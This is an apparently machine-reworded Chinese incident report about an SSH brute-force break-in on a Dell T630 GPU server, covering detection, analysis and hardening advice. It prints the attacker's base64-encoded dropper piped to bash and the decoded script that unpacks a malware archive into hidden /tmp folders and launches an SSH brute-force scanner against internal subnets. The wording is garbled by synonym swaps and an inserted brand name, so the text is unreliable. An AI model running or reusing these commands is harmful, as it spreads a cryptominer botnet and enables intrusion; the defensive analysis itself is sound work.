关于大数据盘算Dell办事器被入侵的宁静案例

事情配景

###邮件音讯收到告警,公司机房的一台用于大数据剖析的Dell T630办事器发明SSH的屡次短时并发登录哀求告警,在流分体系盘问登录的IP地点多为外洋IP,同时触发了1个严峻级另外宁静事情告警,该打击地点为法国IP,且与ssh登录记载坚持分歧。

image.png image.png

image.pngimage.png


在要挟谍报中心盘问这个IP,表现有DDOS打击和SSH打击


15882325877837.png

二、办事器根本状况

办事器为公司外部的一台GPU办事器,办事器操纵体系 Ubuntu 18.04.3 LTS,平常只做测试用,对外开启了SSH端口,做了一些根本的宁静设置,好比克制root用户近程登录,平凡用户登岸关照等。但由于办事器属于多人利用,创立的非root用户,大概存在用户弱暗码。

公司根本网络拓扑状况

wps1.png

三 、被入侵后大概形成的要挟

1.在下面运转挖矿步伐,斲丧CPU、GPU、内存和网络带宽

2.被看成肉鸡去打击外网的办事器

3.被看成肉鸡入侵内网的其他办事器和主机,形成一系列的横向要挟

4.体系蒙受毁坏,办事器数据丧失


四、事情剖析

 收到告警关照后,立刻登录到办事器检察状况,发明办事器CPU内存网络带宽临时都是正常的,没有呈现高使用率,但发明办事器汗青登录记载,汗青下令和/var/log/messages都被清空了,显然黑客具有肯定的反侦查认识。

image.png

利用lastb下令检察登岸失败的操纵,发明有许多外洋IP在实验登录这台呆板的ssh,应该是在暴力破解办事器暗码。

image.png

由于告警关照下面登任命户是zb, 因而zb用户的暗码应该是被破解,并且黑客乐成利用zb用户登岸进入了ag真人的办事器。ag真人检察zb用户运转的历程,发明了非常历程,这里黑客是经过base64编码通报shell下令(应该是为了躲避规矩引擎的检测)
image.png
bash -c sleep 15s && cd /var/tmp; echo "IyEvYmluL2Jhc2gKY2QgL3RtcAkKcm0gLXJmIC5zc2gKcm0gLXJmIC5tb3VudGZzCnJtIC1yZiAuWDEzLXVuaXgKcm0gLXJmIC5YMTctdW5peApybSAtcmYgLlgxOS11bml4CnJtIC1yZiAuWDIqCm1rZGlyIC5YMjUtdW5peApjZCAuWDI1LXVuaXgKbXYgL3Zhci90bXAvZG90YTMudGFyLmd6IGRvdGEzLnRhci5negp0YXIgeGYgZG90YTMudGFyLmd6CnNsZWVwIDNzICYmIGNkIC90bXAvLlgyNS11bml4Ly5yc3luYy9jCm5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxOTIuMTY4ID4+IC9kZXYvbnVsbCAyPjEmCnNsZWVwIDhtICYmIG5vaHVwIC90bXAvLlgyNS11bml4Ly5yc3luYy9jL3RzbSAtdCAxNTAgLVMgNiAtcyA2IC1wIDIyIC1QIDAgLWYgMCAtayAxIC1sIDEgLWkgMCAvdG1wL3VwLnR4dCAxNzIuMTYgPj4gL2Rldi9udWxsIDI+MSYKc2xlZXAgMjBtICYmIGNkIC4uOyAvdG1wLy5YMjUtdW5peC8ucnN5bmMvaW5pdGFsbCAyPjEmCmV4aXQgMA==" | base64 --decode | bash

经过base64解码失掉呆板运转的是一些shell下令

#!/bin/bash

cd /tmp

rm -rf .ssh

rm -rf .mountfs

rm -rf .X13-unix

rm -rf .X17-unix

rm -rf .X19-unix

rm -rf .X2*

mkdir .X25-unix

cd .X25-unix

mv /var/tmp/dota3.tar.gz dota3.tar.gz

tar xf dota3.tar.gz

sleep 3s && cd /tmp/.X25-unix/.rsync/c

nohup /tmp/.X25-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 192.168 >> /dev/null 2>1&

sleep 8m && nohup /tmp/.X25-unix/.rsync/c/tsm -t 150 -S 6 -s 6 -p 22 -P 0 -f 0 -k 1 -l 1 -i 0 /tmp/up.txt 172.16 >> /dev/null 2>1&

sleep 20m && cd ..; /tmp/.X25-unix/.rsync/initall 2>1&

exit 0


image.png

可以看到,黑客在呆板上解压了一个包,运转了一些步伐,在/tmp上面也能找到留下的步伐,但有大概是由于下载不完全,紧缩包破坏了,只解压出来一局部的步伐,install的下令运转失败了招致终极木马步伐是没有实行起来的。这个时分曾经发明了办事器被入侵,ag真人实时举行了处置,黑客步伐还没有起来的状况下,这台主机的外网毗连被ag真人堵截了,停失了一切非常的历程。
image.png

同时,ag真人经过人工排查发明,在办事器的zb用户的家目次 /home/zb/.ssh/authorized_keys这个文件内里被添加了公钥,留了后门,这种状况下,当前黑客就可以完成免暗码登录ag真人的办事器。这个文件的修正工夫恰好是入侵的工夫。

由于这台呆板只要一个SSH的端口映射在公网上,以是黑客应该是从SSH登录进体系然后下载并运转了步伐,猜疑是由于zb这个用户的暗码比力弱,被黑客字典破解了。

image.png

至于木马文件是怎样下载到呆板下面来的,开端判别应该是经过scp,由于scp是加密的,假如用wget curl之类的有大概会被防病毒设置装备摆设检测到,经过前面的会话记载检察192.168.4.144这台呆板和内部的毗连也只要ssh协议。

把办事器上黑客留下的步伐用杀毒软件扫描,杀毒软件报木马步伐。image.png


五、溯源检察

1.会话记载检察

检察这台呆板的外联IP状况,发明有许多外洋的IP在毗连这台呆板的SSH端口 

image.png
这一条便是事先黑客登录体系的SSH毗连,由于payload巨细有3M多,可揣测在传输背景木马的文件到入侵了的办事器。 1586328063055.png


经过流量剖析体系的流记载可以看出这一段工夫内与192.168.4.144通讯的都是内部的IP,并且都是ssh的使用,没有其他的使用,阐明黑客是间接经过SSH入侵的这一台办事器,不是外部其他办事器入侵,也不是经过其他的使用。


2.对办事器举行毛病扫描

扫描发明该办事器对局域网开放了三个端口,两个SSH的端口,一个SMTP的端口,但对外网只开放了一个SSH的端口。

发明了一个25端口的中危毛病,并未发明SSH办事的毛病,黑客应该不是使用这个毛病入侵的。那就只能是经过SSH暴力破解进入的办事器。

wps5.jpg

六、此类打击的进攻方法

  1. 办事器克制用户设置弱暗码,设置庞大用户暗码战略,实时清算不利用的用户,和用户组(可以指定暗码战略)。

  2. 克制root用户登录,平凡用户若有必要利用sudo实行。

  3. 经过第三方防护使用来避免ssh暴力破解(denyhosts,fail2ban可以完成一连输错暗码频频就把IP列到黑名单,一段工夫后主动移出黑名单)。

  4. 利用密钥登录,修正办事的默许端口,利用不常用端口。

  5. 活期加固体系,及时更新体系版本和运转的软件版本。


湖南ag真人信息技能有限公司官网

地 址:长沙市岳麓区潇湘南路368号中盈广场D栋406-407

邮政编码:410200

电 >###

邮 箱:>###

招聘邮箱:>###